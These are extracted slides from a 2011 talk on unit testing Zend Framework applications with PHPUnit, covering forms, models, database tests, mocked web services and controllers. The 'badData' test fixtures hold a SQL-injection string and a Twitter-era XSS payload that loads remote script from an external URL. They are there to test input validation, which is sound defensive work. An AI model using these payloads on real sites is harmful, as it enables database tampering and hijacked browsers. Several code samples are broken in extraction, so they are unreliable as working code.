Unit Testing Zend Framework Applications

Unit Testing with
Zend Framework
PHPBenelux Meeting May 2011
Haasrode - Belgium

Michelangelo van Dam
• Independent Consultant
• Zend Certiﬁed Engineer (ZCE)
• President of PHPBenelux

Zend Webinar

http://www.zend.com/en/resources/webinars/framework

Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…

The cost of bugs
Bugs Project Costs

100

75

50

25

0
Start Milestone1 Milestone2 Milestone3

The cost of bugs
Bugs Project Costs Unittests

100

75

50

25

0
Start Milestone1 Milestone2 Milestone3

Maintainability
•- during development
test will fail indicating bugs
•- after sales support
testing if an issue is genuine
- ﬁxing issues won’t break code base
‣ if they do, you need to ﬁx it!
• long term projects
- refactoring made easy

Remember

“Once a test is made, it will always be tested!”

Conﬁdence
•- for the developer
code works
•- for the manager
project succeeds
•- for sales / general management / share holders
making proﬁt
•- for the customer
paying for what they want

phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
<testsuite name="Unit test suite">
<directory>./</directory>
</testsuite>

<filter>
<whitelist>
<directory suffix=".php">../application/</directory>
<directory suffix=".php">../library/Mylib/</directory>
<exclude>
<directory suffix=".phtml">../application/</directory>
</exclude>
</whitelist>
</filter>

</phpunit>

TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');

// Include path
set_include_path(
. PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path()
);

// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';
$application = new Zend_Application(
APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini'
);

$application->bootstrap();

Zend_Tool since 1.11.4

• provides
• phpunit.xml
• bootstrap.php
• IndexControllerTest.php

Ralph Schindler

Start your engines!

http://www.ﬂickr.com/photos/robdunckley/3781995277

CommentForm
Name:
E-mail Address:
Website:
Comment:

Post

Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;

protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}

}

The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}

Create the form class
<?php

class Application_Form_CommentForm extends Zend_Form
{

public function init()
{
/* Form Elements & Other Definitions Here ... */
}

}

Let’s put in our elements
<?php

class Application_Form_CommentForm extends Zend_Form
{

public function init()
{
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true));
$this->addElement('submit', 'post', array (
'Label' => 'Post', 'Ignore' => true));
}

}

Filter - Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
new Zend_Validate_EmailAddress(),
));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000))),
));

You’re a winner!

☑ quality code
☑ tested
☑ secure
☑ reusable

Testing business logic
•- models contain logic
tied to your business
- tied to your storage
- tied to your resources
• no “one size ﬁts all” solution

Type: data containers
•- contains structured data
populated through setters and getters
•- perform logic tied to it’s purpose
transforming data
- ﬁltering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models

Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
{
$this->_comment = new Application_Model_Comment();
parent::setUp();
}
{
parent::tearDown();
$this->_comment = null;
}
public function testModelIsEmptyAtConstruct()
{
$this->assertSame(0, $this->_comment->getId());
$this->assertNull($this->_comment->getFullName());
$this->assertNull($this->_comment->getEmailAddress());
$this->assertNull($this->_comment->getWebsite());
$this->assertNull($this->_comment->getComment());
}
}

Create a simple model
<?php

class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;

public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}

Not all data from form!
•- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form

The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');

}

Modify our model
protected $_filters;
protected $_validators;

public function __construct($params = null)
{
$this->_filters = array (
'id' => array ('Int'),
'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
'comment' => array ('StringTrim', 'StripTags'),
);
$this->_validators = array (
'id' => array ('Int'),
'fullName' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'emailAddress' => array (
'EmailAddress',
),
'website' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
),
'comment' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000)),
),
);
if (null !== $params) { $this->populate($params); }
}

Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}

public function setFullName($fullName)
{
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}

Email & website
public function setEmailAddress($emailAddress)
{
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}

public function setWebsite($website)
{
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}

and comment
public function setComment($comment)
{
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}

Integration Testing
•- database speciﬁc functionality
triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback

Points of concern
•- beware of automated data types
auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time

The domain Model
• Model object
• Mapper object
• Table gateway object

Read more about it

Change our test class

class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase

Setting DB Testing up
protected $_connectionMock;

public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}

public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}

initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>

Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');

$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

selectDataSet.xml
<dataset>
<comment
id="1"
<comment
id="2"
</dataset>

Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);


APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
}

updateDataSet.xml
<dataset>
<comment
id="1"
comment="I like you picking up the challenge!"/>
<comment
id="2"
</dataset>

Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$mapper->find(1, $comment)
->delete($comment);

APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
}

deleteDataSet.xml
<dataset>
<comment
id="2"
</dataset>

Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');


APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
}

insertDataSet.xml
<dataset>
<comment
id="1"
<comment
id="2"
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>

Testing INSERT w/ ﬁlter
public function testDatabaseCanAddAComment()
{
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');

$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));

APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}

insertDataSet.xml
<dataset>
<comment
<comment
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>

Web services remarks
•- you need to comply with an API
that will be your reference
•- you cannot always make a test-call
paid services per call
- test environment is “ofﬂine”
- network related issues

JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;

{
$this->_joindin = new Zftest_Service_Joindin();
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
{
parent::tearDown();
$this->_joindin = null;
}
}

JoindinTest
public function testJoindinCanGetUserDetails()
{
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}

public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
}

Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<ID>19</ID>
- <last_login>1303248639</last_login>
+ <last_login>1303250271</last_login>
</item>
</response>

I recently logged in ✔

And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<?xml version="1.0"?>
<response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
<test_string>testing unit test</test_string>
</response>
Latency of the network 1s ☹

JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;

{
$this->_joindin = new Zftest_Service_Joindin();
$client = new Zend_Http_Client();
$client->setAdapter(new Zend_Http_Client_Adapter_Test());
$this->_joindin->setClient($client);
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
{
parent::tearDown();
$this->_joindin = null;
}
}

JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<response>
<item>
<username>DragonBe</username>
<full_name>Michelangelo van Dam</full_name>
<ID>19</ID>
<last_login>1303248639</last_login>
</item>
</response>
EOS;
$client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
}

JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml

<response>
<dt>{$date->format('r')}</dt>
<test_string>testing unit test</test_string>
</response>
EOS;
$client = $this->_joindin->getClient()
->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
}

Setting up ControllerTest
<?php

class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{

public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}

Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);

// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}

Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$this->request->setMethod('post');
$this->request->setPost($testData);

// assertions

$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');

$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}

REMARK
•- data providers can be used
to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form

Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);

// assertions

$this->assertRedirectTo('/');
}

• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote

Thank you
• source code:
http://github.com/DragonBe/zftest

• your rating:
http://joind.in/3381

•- follow me:
twitter: @DragonBe
- facebook: DragonBe

Please use joind.in for feedback

Unit Testing Zend Framework Applications

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